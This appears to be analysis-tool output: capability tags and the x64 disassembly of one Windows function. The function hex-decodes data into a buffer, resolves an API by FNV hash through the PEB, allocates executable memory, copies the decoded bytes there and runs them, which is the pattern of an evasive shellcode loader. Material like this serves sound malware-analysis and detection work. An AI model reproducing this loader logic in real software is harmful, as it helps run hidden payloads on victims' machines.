Function at 0x140001290
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
xor ebx, ebx
mov dword [rsp + 0x30], ebx
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0xa0]
call sub.VCRUNTIME140.dll_memset
lea rcx, [rbp + 0xa0]
call fcn.140002b00
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
mov edi, ebx
mov qword [rbp - 0x78], rbx
mov esi, 0xf
mov qword [rbp - 0x70], rsi
mov byte [rsp + 0x78], bl
cmp qword [rbp + 0x130], rbx
je 0x1400014fd
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp - 0x60]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x140005640]
mov qword [rbp - 0x60], rax
lea rax, [0x140005580]
mov qword [rbp - 0x50], rax
lea rcx, [rbp + 0x38]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x30], 1
xor r8d, r8d
lea rdx, [rbp - 0x48]
lea rcx, [rbp - 0x60]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea r15, vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp + rcx - 0x60], r15
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx - 0x64], edx
lea rcx, [rbp - 0x48]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rbp - 0x48], rax
mov qword [rbp + 0x20], rbx
mov dword [rbp + 0x28], ebx
lea rdx, [rbp + 0xb0]
lea rcx, [rbp - 0x50]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64____ptr64]
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], rsi
mov byte [rsp + 0x38], bl
mov dword [rsp + 0x30], 5
movups xmmword [rsp + 0x60], xmm0
mov ecx, ebx
mov edx, dword [rbp + 0x28]
mov eax, edx
and al, 0x22
cmp al, 2
je 0x140001407
mov rax, qword [rbp - 8]
mov rdi, qword [rax]
test rdi, rdi
je 0x140001407
mov rax, qword [rbp - 0x28]
mov r9, qword [rax]
cmp rdi, qword [rbp + 0x20]
cmovb rdi, qword [rbp + 0x20]
sub rdi, r9
mov rcx, r9
jmp 0x140001439
test dl, 4
jne 0x140001469
mov rax, qword [rbp - 0x10]
mov rdx, qword [rax]
mov rdi, rbx
test rdx, rdx
je 0x140001434
mov rax, qword [rbp - 0x30]
mov r9, qword [rax]
mov rax, qword [rbp + 8]
movsxd rdi, dword [rax]
add rdi, rdx
sub rdi, r9
mov rcx, r9
jmp 0x140001439
mov r9, qword [rsp + 0x60]
test rcx, rcx
je 0x140001469
lea rcx, [rsp + 0x38]
cmp rdi, 0xf
ja 0x140001460
mov qword [rsp + 0x48], rdi
mov r8, rdi
mov rdx, r9
call sub.VCRUNTIME140.dll_memmove
mov byte [rsp + rdi + 0x38], 0
jmp 0x140001469
mov rdx, rdi
call fcn.140003350
nop
movups xmm0, xmmword [rsp + 0x38]
movups xmmword [rsp + 0x78], xmm0
movups xmm1, xmmword [rsp + 0x48]
movups xmmword [rbp - 0x78], xmm1
movq rdi, xmm1
mov r14, rdi
shr r14, 1
lea rcx, [rbp + 0xb0]
call fcn.140003020
test rax, rax
jne 0x1400014bb
mov rax, qword [rbp + 0xa0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xa0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx - 0x60], r15
mov rax, qword [rbp - 0x60]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x98]
mov dword [rbp + rcx - 0x64], edx
lea rcx, [rbp - 0x48]
call fcn.140001de0
lea rcx, [rbp - 0x40]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x38]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rsi, qword [rbp - 0x70]
jmp 0x140001502
mov r14, qword [rsp + 0x58]
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r15, rax
test rdi, rdi
je 0x1400015c9
mov r8, rbx
cmp rsi, 0xf
seta r10b
mov r9, qword [rsp + 0x78]
nop word [rax + rax]
lea rcx, [rsp + 0x78]
cmp rsi, 0xf
cmova rcx, r9
movzx edx, byte [r8 + rcx]
lea eax, [rdx - 0x30]
cmp al, 9
ja 0x14000154e
sub dl, 0x30
jmp 0x140001568
lea eax, [rdx - 0x61]
cmp al, 5
ja 0x14000155a
sub dl, 0x57
jmp 0x140001568
lea eax, [rdx - 0x41]
cmp al, 5
ja 0x140001566
sub dl, 0x37
jmp 0x140001568
xor dl, dl
lea rax, [rsp + 0x78]
test r10b, r10b
cmovne rax, r9
movzx ecx, byte [r8 + rax + 1]
lea eax, [rcx - 0x30]
cmp al, 9
ja 0x140001586
sub cl, 0x30
jmp 0x1400015a0
lea eax, [rcx - 0x61]
cmp al, 5
ja 0x140001592
sub cl, 0x57
jmp 0x1400015a0
lea eax, [rcx - 0x41]
cmp al, 5
ja 0x14000159e
sub cl, 0x37
jmp 0x1400015a0
xor cl, cl
shl dl, 4
add dl, cl
mov eax, ebx
test ebx, ebx
jns 0x1400015ae
lea eax, [rbx + 1]
sar eax, 1
cdqe
mov byte [rax + r15], dl
add ebx, 2
add r8, 2
movsxd rax, ebx
cmp rax, rdi
jb 0x140001530
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140001656
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140001656
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r11]
add rcx, r11
mov r8d, 0x7918db22
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140001651
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140001630
cmp r8d, 0xa5887a9a
je 0x14000165b
test r9d, r9d
jne 0x140001610
mov rax, qword [rax]
jmp 0x1400015e0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, r14
xor ecx, ecx
call r10
mov rbx, rax
mov r8, r14
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
call rbx
nop
mov rdx, qword [rbp - 0x70]
cmp rdx, 0xf
jbe 0x1400016db
inc rdx
mov rcx, qword [rsp + 0x78]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400016d5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400016d5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400035ac
nop
lea rcx, [rbp + 0xa0]
call fcn.140001720
xor eax, eax
mov rcx, qword [rbp + 0x1b0]
xor rcx, rsp
call fcn.140003550
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret